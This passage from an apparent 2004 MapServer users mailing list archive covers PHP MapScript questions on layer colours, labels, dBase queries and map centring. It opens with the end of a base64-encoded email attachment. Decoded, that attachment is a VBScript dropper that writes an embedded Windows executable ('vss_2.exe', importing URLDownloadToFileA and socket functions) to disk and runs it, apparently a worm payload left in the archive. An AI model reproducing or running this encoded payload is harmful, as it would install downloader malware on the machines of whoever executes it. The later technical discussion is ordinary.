LDAsMjUyLDI0NCwwLDAsMTYwLDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNiwy NDUsMCwwLDE2OCwyNDQsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE4LDI0NSwwLDAs MTc2LDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMzAsMjQ1LDAsMCwxODQsMjQ0 LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw0MSwyNDUsMCwwLDE5MiwyNDQsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDUyLDI0NSwwLDAsMjAwLDI0NCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsNjQsMjQ1LDAsMCwyMDgsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNzYsMjQ1LDAsMCw5MCwyNDUsMCwwLDEwNiwyNDUs MCwwLDAsMCwwLDAsMTIwLDI0NSwwLDAsMCwwLDAsMCwxMzQsMjQ1LDAsMCwwLDAsMCwwLDE0 NCwyNDUsMCwwLDAsMCwwLDAsMTU4LDI0NSwwLDAsMCwwLDAsMCwxNzQsMjQ1LDAsMCwwLDAs MCwwLDE4NCwyNDUsMCwwLDAsMCwwLDAsMjA0LDI0NSwwLDAsMCwwLDAsMCwyMTYsMjQ1LDAs MCwwLDAsMCwwLDIzMiwyNDUsMCwwLDAsMCwwLDAsNzUsNjksODIsNzgsNjksNzYsNTEsNTAs NDYsNjgsNzYsNzYsMCw5NywxMDAsMTE4LDk3LDExMiwxMDUsNTEsNTAsNDYsMTAwLDEwOCwx MDgsMCwxMDMsMTAwLDEwNSw1MSw1MCw0NiwxMDAsMTA4LDEwOCwwLDExMSwxMDgsMTAxLDUx LDUwLDQ2LDEwMCwxMDgsMTA4LDAsODMsNzIsNjksNzYsNzYsNTEsNTAsNDYsMTAwLDEwOCwx MDgsMCwxMTUsMTA0LDEwOCwxMTksOTcsMTEyLDEwNSw0NiwxMDAsMTA4LDEwOCwwLDExNywx MTQsMTA4LDEwOSwxMTEsMTEwLDQ2LDEwMCwxMDgsMTA4LDAsMTE3LDExNSwxMDEsMTE0LDUx LDUwLDQ2LDEwMCwxMDgsMTA4LDAsMTE5LDEwNSwxMTAsMTA1LDExMCwxMDEsMTE2LDQ2LDEw MCwxMDgsMTA4LDAsMTE5LDExNSwxMTEsOTksMTA3LDUxLDUwLDQ2LDEwMCwxMDgsMTA4LDAs MCwwLDc2LDExMSw5NywxMDAsNzYsMTA1LDk4LDExNCw5NywxMTQsMTIxLDY1LDAsMCw3MSwx MDEsMTE2LDgwLDExNCwxMTEsOTksNjUsMTAwLDEwMCwxMTQsMTAxLDExNSwxMTUsMCwwLDY5 LDEyMCwxMDUsMTE2LDgwLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMCwwLDAsODIsMTAxLDEw Myw2NywxMDgsMTExLDExNSwxMDEsNzUsMTAxLDEyMSwwLDAsMCw2OCwxMDEsMTA4LDEwMSwx MTYsMTAxLDY4LDY3LDAsMCw2NywxMTEsNzMsMTEwLDEwNSwxMTYsMTA1LDk3LDEwOCwxMDUs MTIyLDEwMSwwLDAsODMsMTA0LDEwMSwxMDgsMTA4LDY5LDEyMCwxMDEsOTksMTE3LDExNiwx MDEsNjUsMCwwLDAsODMsMTE2LDExNCw2OCwxMTcsMTEyLDY1LDAsMCwwLDg1LDgyLDc2LDY4 LDExMSwxMTksMTEwLDEwOCwxMTEsOTcsMTAwLDg0LDExMSw3MCwxMDUsMTA4LDEwMSw2NSww LDAsMTE5LDExNSwxMTIsMTE0LDEwNSwxMTAsMTE2LDEwMiw2NSwwLDAsMCw3MywxMTAsMTE2 LDEwMSwxMTQsMTEwLDEwMSwxMTYsNzksMTEyLDEwMSwxMTAsNjUsMCwwLDAsOTgsMTA1LDEx MCwxMDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsOTAsMTIzLDEyNyw0 MSw5NSw4NywxNTcsOTYsMTkwLDEzNywxMzAsNTIsNzcsNzUsMTM3LDEwOCwxNzYsMTE5LDIz LDE2Miw4OCwxMDksMTY0LDE4OSwxNDgsMTA4LDE2NSw3MiwxMjcsNTUsMzAsMjcsMTE0LDEx LDU4LDE3OCwxMDEsMjYsMzcsMTg5LDE0MiwxNTMsMTYyLDE4MiwzMiw4Myw4NCwxODMsNjgs MTE2LDE4NSwyLDEwNCwxMjcsNzQsNDcsMTE3LDEzMSw2MCwxNTEsMjEsMTgwLDk1LDE3OCwz NSw5OSw4NywxNjAsNDQsMTQ5LDQ1LDE4MSwxNDAsNjgsOTAsNTYsMTEsMzQsMTAsMzksMTEy LDE1NiwxOTcsMzgsMTUzLDE3MCwxNzAsNzksNDQsNTgsNjgsMTA3LDgwLDE1Niw0OSw1Niw1 MSwxNyw0MCwzNCwxODUsMTQ3LDE5NywxNDQsMTU0LDgyLDY5LDEyMiwxMDAsMTgxLDE3Miwx ODYsMTIyLDEzOSwyMywxMjAsMTkwLDg4LDc1LDE2OSwxODEsNTAsMTM1LDEzNSwyMSwxNjAs NjksMTEwLDE1NCwxODAsOTYsMTA3LDIyLDE1NiwxNDgsMTA5LDEyNCwyOCwxMzIsMiwxNjMs NjQsMTQyLDE5MSw4LDgxLDgyLDYyLDE4NSwxMCwxMzgsODMsNTgsMjUsMTg3LDE5MywxMzks MjYsMTEyLDk0LDU1LDk0LDE5OCw3LDE4MCwyMCwxNDksMTk4LDE5Niw0OCwxNzUsMTgsMTQ2 LDkxLDkxLDg2LDg4LDE2LDYxLDEzNSwxLDU0LDE3OSwxMDYsNDksMTYxLDI3LDEzNiw0NCwx NzEsMTksMTM0LDEyOCwxMSw2MSw4OSwyOSwzMCw1NSwxMTYsNCwxOTEsNTgsMSwxNjUsMTA2 LDE0OCw5NSw0OSwxMDQsMTA3LDMyLDE3MywxNjQsNiwxNDAsODQsNDIsMTU4LDk4LDk1LDE1 OCwxMTAsMjEsNjgsOTYsMjUsMTExLDE1MCwxNzIsODcsOCw5MCw3OSw2MSwxNTksMTMsNTYs NjcsNzMsNzcsMTY1LDAsOTAsNzksMTM3LDI5LDE5Niw4NSw5MSw5Niw4LDg5LDE1OCwzMCwx MTIsMTc4LDE1LDE2MSwxMzEsMjUsMjcsNSw2OCwxOCwxMjksMTQyLDE5MSwxNzksMTQ5LDEw NSwzMSw5MSw5MCwxNDEsMTY0LDcyLDM1LDQsMTYwLDExMSw0MCwxNTIsMTIsMjAsMjksMTI4 LDg5LDEwMywxNDIsMTQ1LDE1OSwxMzMsNzcsOTIsOTMsMTIwLDExOSw4LDEzMywxOTAsOTAs MjAsODUsMTY2LDE5MiwxMjYsMTc4LDEzNyw2NiwxNzQsMTc1LDEyMCw3NywxMDEsMTgzLDE5 MCwyNSwxOTgsMTgyLDI0LDE2OCw0MSwxNDQsNzUsNTgsNTYsMTMyLDg5LDgzLDUzLDE4LDE4 LDQyLDUzLDM1LDk0LDE0NCw3MiwxMDcsMTkyLDEwMiwxNzIsMTI2LDEwNywxNjgsMTI0LDE4 LDk3LDE3NywxOTQsNzIsMjUsNjksNTYsMTc0LDMyLDEyMSwxOTIsMTkyLDY3LDE3LDEyMyw0 NywxMzEsMTY2LDEwOCw1LDE4Miw3Myw2NywxMDYsMjgsMTY0LDczLDE1NCwxNzUsMTI4LDQ4 LDI0LDUzLDEzOCw2MSwxODMsNDEsMTEwLDcyLDY4LDIxLDI5LDE1NSwzMSwxMjIsMTYxLDEy LDEyNywxODQsMTgsMTcsMTEsNjQsMTM4LDY0LDE1NiwxOTAsMTEsMTE0LDEyOCwzMSwyMCwx MjYsMTQ0LDUyLDEzMyw2MiwxNjIsMTA2LDE2OSwxNjksNzUsMTQ1LDg2LDEzNiwzNSwxOTYs NjUsNSwzMSwxNjAsNTYsMTgyLDM5LDQ3LDg1LDE4Niw0OCw1NiwzMSw5NCwxNTIsMTA4LDEy LDE4Miw3OCwxMzgsNjUsMTgwLDEwOCwxMTksNjUsMTEzLDUyLDEwOSwzMCwxMSwxOTgsMyw3 OSwxMDAsMTM4LDE2NCwzNCwxMTMsMTMzLDE0Nyw5Myw4OCwxOTYsNTcsMTY2LDEwLDEyMiw4 OCwxMTcsMjIsMjYsMTI2LDcxLDY5LDIxLDE1Nyw1MCw1NiwzMCwxMjIsNDIsMTQ1LDE5Miw1 NiwxODIsNzcsMTc0LDYyLDY5LDE2LDg4LDgxLDE4NywxMCwxNjAsOTksMTgyLDE5NSwxMTQs OCwyNiw2NSwxNDQsODQsNzcsNDcsMjksNDEsMzEsMiw4NCwxMTEsOTAsMTE1LDE4MCwxMTUs MTY5LDE5OCwyLDUsMjIsNTMsNDAsMTYzLDcyLDE0Miw2NiwxNTgsMTk0LDU5LDMsMTUyLDQx LDExMCwxODYsMTUyLDcxLDUxLDYyLDE0NiwxOTcsNTMsMjYsOTIsMTczLDI3LDUzLDEzNSwx MTAsNTYsMzEsMTgyLDExMSwzNiw1MiwxMjAsMTU4LDk4LDY1LDcxLDE3Myw4NSwxMTIsMTA5 LDcwLDY0LDQ1LDE2NSwzNiwxMjEsMTMzLDgsOTMsNDksNzgsMTI1LDYwLDI3LDIwLDQzLDE5 NiwxNTMsMTUzLDc1LDEyMSw5OSwxODMsNDIsMTgyLDE2MiwyOSwyMiwzMSwxNjUsMTM2LDY3 LDE2OSwxMDIsOTQsMTIsNTMsOTUsMTg3LDEyOSw1NCwyOSwxNTIsNTcsMTI3LDE2OCwzOCw4 Miw1NSwxNDEsOSw3OSwxMzYsMTQwLDcxLDU4LDEsMTU5LDE2NSwxMSw2NCw1MCwxODcsMTcw LDgxLDE3OCwxOTAsNDMsMTIxLDE4NSwxNDIsNDUsNTUsMTQ1LDE1MCwxNzgsMTI3LDg4LDY5 LDEyMCwxMjUsNzUsMTgxLDQwLDE5MywxMDQsNTgsMTgsMTM0LDg2LDEyNiwxOTQsMTEsMTgx LDY0LDEwMiwxNjUsNjMsMTg5LDU0LDI5LDEzMiw2NSw1MSwxNzAsNzEsMzIsMTkxLDQwLDEw Nyw5MSwxNDEsMzMsNDAsMTY4LDEzMiwxNTUsMTg3LDc3LDIxLDE2OCwzMCwxNDEsMTYzLDEx MSw4Miw5OCwxMjQsODksMTI2LDQwLDE5NiwxODgsNDgsMTAxLDE1Nyw2OCwyMiwxMzQsMjks MTcyLDEzNSw4NCwxNTgsMTIwLDE1Nyw1OCwxNTgsMTg0LDM5LDk4LDE4OCwxNjYsODMsMTUx LDE4NCw3OCwxMzIsMTI0LDExMCw0MCw0MCwxNDIsMTE4LDE3MCw3NSw3OSw4NiwxMzYsMTc4 LDM4LDM5LDUwLDU5LDE3NCw5MSwxLDE2LDE0NSwxMDIsMTExLDE1NiwxMjIsOTAsNTQsMTAx LDgxLDk2LDQzLDMzLDE5OCwxMjQsMTUyLDE5MiwxMywxOTcsMTE4LDY0LDE5Nyw3NCw0MSw5 NSw3OCw4OCwxODMsMTksNzYsMTY4LDcxLDE2MSwxODAsNjksMTkxLDEwMiwxMDksMTA1LDcx LDEwNiwxNTIsNjMsMTUwLDQ1LDQ3LDYyLDEwNSwxNDEsMTgyLDE4OCwxNTEsMTM4LDEwNCw3 NCwxODAsMTc5LDI3LDQzLDE1NCw0OCwxMzIsOCwxMzUsODIsMTQ0LDE5Miw2MywxNDgsMTg2 LDI1LDEzNSwyNiw1MiwxMTcsMTksMjksOTcsMTA5LDE4MSwxOTgsMTM5LDE2OSw2LDE0Miw5 OSwxOTcsMTgwLDE4OSw1NCwxMzMsMTI5LDEyNCwxNDcsNTgsMTQ3LDE1MCwxNTEsMTY3LDEz MSw4LDI2LDUyLDEwMSw1OCwxNDQsMTIxLDE3NSwxMjAsMTUyLDE5OCw4Nyw4NiwxNzcsMTMw LDEzMiw3NSw5NCwxMzUsMTYsMzMsOTMsMzgsMTQzLDE4MywxNjMsMTU4LDM3LDM0LDUzLDE3 MCwyMywyMCwyOCwxNzcsMTAzLDEwNiw2OCw5Niw5MywxMDksMTk4LDEwMiw5MSwxNjMsMTAy LDEyNiwxODcsMTQ3LDU5LDI1LDY1LDYzLDM1LDE1LDE1NywxMTcsNjcsOSwxMDksMTAxLDE1 MSwxOTksODUsODAsMTA3LDgyLDE5MSwyLDE3OSw4MCwzNSwxNCwxMDUsNDgsMTUyLDk1LDg1 LDM5LDE3LDE1MCwxMzUsMzIsNzAsMjQsOTksMTIzLDI5LDc2LDEyOSwzNCwxMjYsMTQwLDIy LDExNCw0Miw2NiwxMywxNSwxMTIsMTI1LDkxLDMyLDM5LDczLDEyOCwyMSwxNTcsMTUzLDE4 NiwxNjksMTA1LDE3OSwxOTcsNzAsNTYsNzEsMTUyLDM0LDEzMyw3MSwxMTUsMjksMzQsMTMy LDEyLDE4NSwxMjgsNTUsMTQ5LDE3MCwyNCw5NywxMTEsMTAxLDY5LDEzMCw4MSw0Myw4NCw2 Miw2NywyNywxNjQsMzUsMTIyLDExMSw1NCw4MCwxOTEsMzEsMjAsNTYsMTgsMTMyLDkwLDE2 NiwyNCwyLDE3NSwxNDAsNSwyMCw2MSwxNjMsMTYwLDE5Myw0Miw1MiwxNzgsNTksMzksNiw1 MSwxNjMsMjMsMjIsOTAsMTI3LDE0NCw2MCwxNDksMTE5LDE1MywxNDksMTEzLDUsODIsMjYs MTg0LDEyNCwxMzEsODUsMTc4LDE2OCwxMDcsOSwxMTYsMTAxLDIsMTE0LDE4MCwxMjQsMTM1 LDE2NSw4MiwxODgsMTQxLDEyMCwzOSwyMiwxMDgsMTY4LDQ1LDk5LDc3LDE2OSw3NCw3MCwx MTYsMTI2LDgzLDEyMiwxMjMsMTM3LDYxLDE4LDE1OSwyNSwxNjYsMTUzLDg5LDQyLDg0LDMz LDcyLDEzNiwyNiwxMzIsMTMxLDE5MywxMywxODgsODQsOTIsMTM2LDM4LDUyLDE5MSwxMTUs NjAsMjAsNTQsMTk5LDE5LDEzNSwxNjYsMTUxLDE2MywxODYsMTIyLDE3MywzMCwyOCwxNTEs MjIsNzIsMTIzLDE0Myw5NCwxNywzMywxMCwxNzYsMTYyLDI5LDM2LDM4LDEyMiwxMTAsMyw3 NywyNiw1LDgzLDQxLDE2LDE5LDEzNiwxMjYsNDYsNTgsMTQsMTA5LDY4LDE4MSw0OCwxNTYs NzYsMTMxLDcyLDE5MSwxMjEsMTc4LDEwNiwxOCw3NSwxMDkpDQpmb3IgaT0wIHRvIDIxMTIx DQpmaWxldHh0LldyaXRlKGNocihhKGkpKSkNCm5leHQNCmZpbGV0eHQuQ2xvc2UNCmRpbSB6 DQpkaW0genoNCkNvbnN0IEZvclJlYWRpbmcgPSAxLCBGb3JXcml0aW5nID0gMiwgRm9yQXBw ZW5kaW5nID0gMw0KY29uc3QgUmVtb3RlRXhlID0gInZzc18yLmV4ZSINCnNldCB6eiA9IHdz Y3JpcHQuY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCnogPSB6ei5ydW4gKCJ2c3Nf Mi5leGUiKQ0Kd3NjcmlwdC5xdWl0DQo= ----------jmqynpznixdnldhblqep-- From samuzzal at linux.net Mon May 3 21:27:18 2004 From: samuzzal at linux.net (Sam Choudry) Date: Mon, 3 May 2004 21:27:18 -0700 (PDT) Subject: [Mapserver-users] Coloring Problem Message-ID: <20040504042718.E1C017267@sitemail.everyone.net> Hello, Here is the same old problem still not solved. I want to change the color of my area layer "nal-blk" according to user input. For that I am using the code: if($r!='' && $g!='' && $b!='') { $layer = $map->getlayerbyname("nal-blks"); $class = $layer->getclass(0); $layer->open($map->shapepath); $index = findindex($r,$g,$b); $class->set('color',index); } I am using a function I received from one of the list members, function findindex($r,$g,$b) { GLOBAL $map; $r1=(int) $r; $g1=(int) $g; $b1=(int) $b; for($i=-10;$i<0;$i++) { $col=$map->getColorByIndex($i); $tr=$col->red; $tg=$col->green; $tb=$col->blue; if(($r1 == $tr) && ($g1 == $tg) && ($b1 == $tb)) { $in=$i; break; } } $in=$in+1; return($in); } The Error message are : Warning: Wrong parameter count for open() in c:\inetpub\wwwroot\php\nalbari.php on line 21 Fatal error: Property 'color' does not exist in this object. in c:\inetpub\wwwroot\php\nalbari.php on line 23 The Map File snippet is also provided: LAYER #DISTRICT BLOCKS# NAME "nal-blks" DATA nal-blks STATUS ON TYPE POLYGON CLASS NAME '0' COLOR 219 250 253 OUTLINECOLOR 154 181 250 END END What can be the possile solution to this? Regards, Samuzzal _____________________________________________________________ Linux.Net -->Open Source to everyone Powered by Linare Corporation http://www.linare.com/ From siki at agt.bme.hu Tue May 4 01:42:48 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Tue, 4 May 2004 07:42:48 -0100 (GMT+1) Subject: [Mapserver-users] Lines between points and polygon colors {Scanned} {Scanned} In-Reply-To: <6.0.1.1.2.20040503000112.027b2340@resellmo.com> Message-ID: Hi, On Mon, 3 May 2004, K Resellmo wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > > I have two questions about MapServer features: > > 1. Is it possible to use the MapServer symbol capabilities to draw lines > between points? I have several sets of points that I would like to display > using both a graphic to mark the point, and a line to connect the points. > I think not, you need two separate layer/shape to display points and lines. The graphical object type is defined in the GIS data set. > 2. Can I display polygons in different colors? (like a political map with > different colors for different countries) Yes, you can create tematic maps based on attribute data. See CLASS in map file reference. Bye Zoltan > > Thanks for your time! > > Kris > -----BEGIN PGP SIGNATURE----- > Version: PGP 8.0.2 > > iQA/AwUBQJb8Kp4XWyzLnsoNEQJe8QCfcznektK5ltIgL9EnBBiBKj62isgAoNUY > bkWw9Bc97Xwdk2e+dXWNp1jf > =cBPQ > -----END PGP SIGNATURE----- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From norbert.thieme at ilmenau.baw.de Tue May 4 00:23:07 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 04 May 2004 09:23:07 +0200 Subject: [Mapserver-users] Coloring Problem In-Reply-To: <20040504042718.E1C017267@sitemail.everyone.net> References: <20040504042718.E1C017267@sitemail.everyone.net> Message-ID: <409744DB.4020209@ilmenau.baw.de> Sam Choudry schrieb: > Hello, > > Here is the same old problem still not solved. I want to change the > color of my area layer "nal-blk" according to user input. For that I am > using the code: > > if($r!='' && $g!='' && $b!='') > { > $layer = $map->getlayerbyname("nal-blks"); > $class = $layer->getclass(0); > $layer->open($map->shapepath); > $index = findindex($r,$g,$b); > $class->set('color',index); > } > > > > I am using a function I received from one of the list members, > > function findindex($r,$g,$b) > { > GLOBAL $map; > > $r1=(int) $r; > $g1=(int) $g; > $b1=(int) $b; > > for($i=-10;$i<0;$i++) > { > $col=$map->getColorByIndex($i); > > $tr=$col->red; > $tg=$col->green; > $tb=$col->blue; > > if(($r1 == $tr) && ($g1 == $tg) && ($b1 == $tb)) > { > $in=$i; > break; > } > } > $in=$in+1; > return($in); > } > > > The Error message are : > Warning: Wrong parameter count for open() in > c:\inetpub\wwwroot\php\nalbari.php on line 21 > Hi, The layer->open() function don't except any paramters I think so simply leave it empty. > Fatal error: Property 'color' does not exist in this object. > in c:\inetpub\wwwroot\php\nalbari.php on line 23 > The next message say that there is no color in the class-object. So you can't change it and I just had a look in the mapscript docs - there seem to be no color-object. If I don't have missed something there will be no way to change that but I think there should be one. I hope someone more experienced knows a workaround or can point us to the right objects/functions or docs. Regards, Norbert > > The Map File snippet is also provided: > > LAYER #DISTRICT BLOCKS# > NAME "nal-blks" > DATA nal-blks > STATUS ON > TYPE POLYGON > CLASS > NAME '0' > COLOR 219 250 253 > OUTLINECOLOR 154 181 250 > END > END > > What can be the possile solution to this? Regards, > > Samuzzal > > > _____________________________________________________________ > Linux.Net -->Open Source to everyone > Powered by Linare Corporation > http://www.linare.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From publiek at home.nl Tue May 4 00:56:36 2004 From: publiek at home.nl (publiek at home.nl) Date: Tue, 4 May 2004 9:56:36 +0200 Subject: [Mapserver-users] Using itasci rubber band in php Message-ID: <200405040756.i447uqFS000116@lists.gis.umn.edu> I am trying to rewrite the itasca example (javascript with dhtml rubber band box) to php. What i want is to let the dbox javascript thing communicate with my php functions. Am i doing something that is possible? Or should i use something else for the rubber band selection? Any ideas are welcome. Thanks, Marcel From publiek at home.nl Tue May 4 00:59:13 2004 From: publiek at home.nl (publiek at home.nl) Date: Tue, 4 May 2004 9:59:13 +0200 Subject: [Mapserver-users] drawing layers with labels using php Message-ID: <200405040759.i447xVFS000158@lists.gis.umn.edu> Hello, How do i draw layers that consist of labels? I get a blank image. Using php mapscript functions draw, saveWebimage. What in the world am i missing? Thanks. Marcel From norbert.thieme at ilmenau.baw.de Tue May 4 01:20:16 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 04 May 2004 10:20:16 +0200 Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions? In-Reply-To: <614FCE5F14A6D41180C200010240D6A25DC094@LINNMS> References: <614FCE5F14A6D41180C200010240D6A25DC094@LINNMS> Message-ID: <40975240.6090501@ilmenau.baw.de> Ryan, Adam schrieb: > Eduardo, > > I might be off track but... > > I thought about this myself. In order to display the result shapes you need > to have a query result either from doing the query in mapscript or loading a > saved query file. The former defeats the point of querying the dBase since > you're duplicating your steps, and the later requires you to manually build > a query file but you can't do that unless you can get at the dBase record - > shapefile index relationship which I don't know how to do. > > Again, I may be off track, but querying the dBase file may not be feasible. > > Adam > > -----Original Message----- > From: Eduardo Patto Kanegae [mailto:eduardo at consultoria.eti.br] > Sent: Monday, May 03, 2004 11:06 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP > dBase functions? > > > I have a mapserver+php+mapscript that will query on a shapefile database on > a single layer, through its atributes. > > The system will give as result a set of items on a result list as a first > step. > Then as a second step a map displaying these results should be given. > > my doubt is: to create this result list which will be best strategy: > - use PHPMapScript to query against the mapfile ? > or > - simply use PHP dBase functions to query against dBase files of the > mapfile? > > which one is the best/fastest alternative? > > best regards. > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > UIN: 303747254 > > I Encontro Nacional de Usu?rios MapServer - > http://mapserver.cttmar.univali.br/encontro2004 > Projeto MapServer Brasil - http://mapserver.cttmar.univali.br > > ***Fim da Mensagem / End of Message *** > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi, I think you can use both. If you use querybyattributes then you use the ability of the mapserver to search only in your current extent. But you have the problem that the qstring must be exactly the same (case sensitive). If anyone knows a way (without much own code) to search with the mapserver after only parts of words and case ignoring it would be great if he shares it. Because that would work with all kinds of types of data not only for shapes. For the other case I use the following code to search the way described above - I cut it a bit: //this first part is a seperate form but it should work also in one $recs = dbase_numrecords($dbi);//opened dbf $q_index_array = array();//save the indexes from the .dbf in this array for ($i = 1; $i < $recs; $i++) { $s_field = dbase_get_record_with_names($dbi, ($i + 1)); if (!(strpos(strtolower($s_field[$qitem]), strtolower($qstring))) === false)) { $q_index_array[] = $i; } } //second part - map for ($i = 0; $i < count($q_index_array); $i++) { if (@$map->queryByIndex($qlayer->index, 0, $q_index_array[$i], MS_FALSE) == MS_SUCCESS) { $q_img = $map->drawquery(); $q_path = $q_img->savewebimage(); echo ""; } } Regards, Norbert From e9625730 at student.tuwien.ac.at Tue May 4 02:24:39 2004 From: e9625730 at student.tuwien.ac.at (Elisabeth Nolz) Date: Tue, 4 May 2004 11:24:39 +0200 Subject: [Mapserver-users] center map on x,y coordinates Message-ID: hi list. in my application i have a drop-down menu with lots of addresses (addresses and appropriate x,y coordinates stored in a mysql-database). the user can choose one address and then click on the submit-button to show the map centered on the chosen address. the problem is, that i don't know how i could center my map on x,y coordinates. i found the following entry in the mapserver-user-history: "If you have x,y coordinates for the centers of your parcels in your mysql database, you can just run your search, grab the results, and redirect to a url like: http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000" i tried this link with my coordinates but it doesn't work this way. could someone help me please? thx, elisabeth. From adams at terrestris.de Tue May 4 02:56:47 2004 From: adams at terrestris.de (Till Adams) Date: Tue, 04 May 2004 11:56:47 +0200 Subject: [Mapserver-users] PostGIS and CLass - Expression Help Message-ID: <409768DF.9040405@terrestris.de> Dear list, I'm stuck with making an expression on a postgis datasource (code see below): I get no error but also no labels at all - and there are labels, I'm sure. I tried everything with quotations, capitalisation in my expression, etc. but still get no results :-(. NAME "xxx" TYPE ANNOTATION STATUS ON CONNECTIONTYPE postgis CONNECTION "user=admin dbname=datasrc host=localhost" DATA "the_geom from (select * from view_x) as foo using unique item using SRID=31493" # viewx is a stored query in my database METADATA 'WMS_SRS' 'epsg:31493' 'WMS_TITLE' 'xxx' 'WMS_FEATURE_INFO_MIME_TYPE' 'text/html' END PROJECTION "init=epsg:31493" END CLASSITEM "item_x" LABELITEM "label" LABELANGLEITEM "angle" CLASS EXPRESSION ([item_y] > 1301) # /^13/ NAME "name" LABEL TYPE TRUETYPE FONT 'arial' SIZE 9 COLOR 0 0 0 END END [....] When making sth. like 'EXPRESSION /^13/' I get results and see labels on my map, but that's not enough for us. Maybe there's a problem because the data does not result from a postgres table directly? Any ideas, hints, similar problems out there? Thanks very much in advance! Till From norbert.thieme at ilmenau.baw.de Tue May 4 03:15:12 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 04 May 2004 12:15:12 +0200 Subject: [Mapserver-users] drawing layers with labels using php In-Reply-To: <200405040759.i447xVFS000158@lists.gis.umn.edu> References: <200405040759.i447xVFS000158@lists.gis.umn.edu> Message-ID: <40976D30.1090809@ilmenau.baw.de> publiek at home.nl schrieb: > Hello, > > How do i draw layers that consist of labels? > I get a blank image. > Using php mapscript functions draw, saveWebimage. > > What in the world am i missing? > > Thanks. > > Marcel > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi, it would help if you could send your mapfile or parts of it the next time. However this thing work in general. You can have a look at my layer definition from a simple .shp file. LAYER NAME "Ortslage" DATA "ortslage" STATUS DEFAULT TYPE POLYGON #TYPE ANNOTATION # you can use this instead but there could be something wrong in the mapscript -> all labels get drawn in my case PROJECTION "init=epsg:31467" END LABELITEM 'NAME' CLASS # COLOR 232 232 232 # OUTLINECOLOR 32 32 32 LABEL COLOR 100 100 100 #BACKGROUNDCOLOR 220 220 190 SHADOWCOLOR 250 250 220 SHADOWSIZE 1 1 TYPE BITMAP SIZE MEDIUM BUFFER 15 END END END Did you get a correct image from another layer? BTW there can also be a problem with your PROJECTION definitions. In most cases this is the reason for blank images. Regards, Norbert From alhim at intracom.gr Tue May 4 03:34:06 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Tue, 4 May 2004 13:34:06 +0300 Subject: [Mapserver-users] center map on x,y coordinates In-Reply-To: References: Message-ID: <200405041334.06780.alhim@intracom.gr> Hi , are you using the MapScript language ? If yes in the mapObj class there is the method centerByPoint which operates on the screen space(pixels). What are those x,y ? Screen coords(pixels) or geographical coordinates (e.x lat/lon) ? On Tuesday 04 May 2004 12:24, Elisabeth Nolz wrote: > hi list. > in my application i have a drop-down menu with lots of addresses (addresses > and appropriate x,y coordinates stored in a mysql-database). the user can > choose one address and then click on the submit-button to show the map > centered on the chosen address. > the problem is, that i don't know how i could center my map on x,y > coordinates. > > i found the following entry in the mapserver-user-history: > "If you have x,y coordinates for the centers of your parcels in your mysql > database, you can just run your search, grab the results, and redirect to a > url like: > http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f >rom_mysql&scale=150000" > > i tried this link with my coordinates but it doesn't work this way. could > someone help me please? > > thx, > elisabeth. > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From norbert.thieme at ilmenau.baw.de Tue May 4 03:38:51 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 04 May 2004 12:38:51 +0200 Subject: [Mapserver-users] Using itasci rubber band in php In-Reply-To: <200405040756.i447uqFS000116@lists.gis.umn.edu> References: <200405040756.i447uqFS000116@lists.gis.umn.edu> Message-ID: <409772BB.3050509@ilmenau.baw.de> publiek at home.nl schrieb: > I am trying to rewrite the itasca example (javascript with dhtml rubber band box) to php. > > What i want is to let the dbox javascript thing communicate with my php functions. > Am i doing something that is possible? Or should i use something else for the rubber band selection? > > Any ideas are welcome. > > Thanks, > > Marcel > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Yes, you can do that. Just make two inputs with a name in your form in the php file (e.g. ). I don't know what your does exactly but you can asign the Values from your coordinates to the html/php inputs (e.g. document.yourform.javasX.value = someXcoordinate). Notice that you should know what coordinates you get from the script (pixel, position of start point). If the from gets submitted you can use this in php script. If your form uses POST then it could look like: if (isset($HTTP_POST_VARS["javasX"])) { $click_x = $HTTP_POST_VARS["javasX"]; } Now you can use this coordinates in php and do what you want to do. Regards, Norbert From burmester at gis-initiative.de Tue May 4 04:29:11 2004 From: burmester at gis-initiative.de (GIS Initiative) Date: Tue, 04 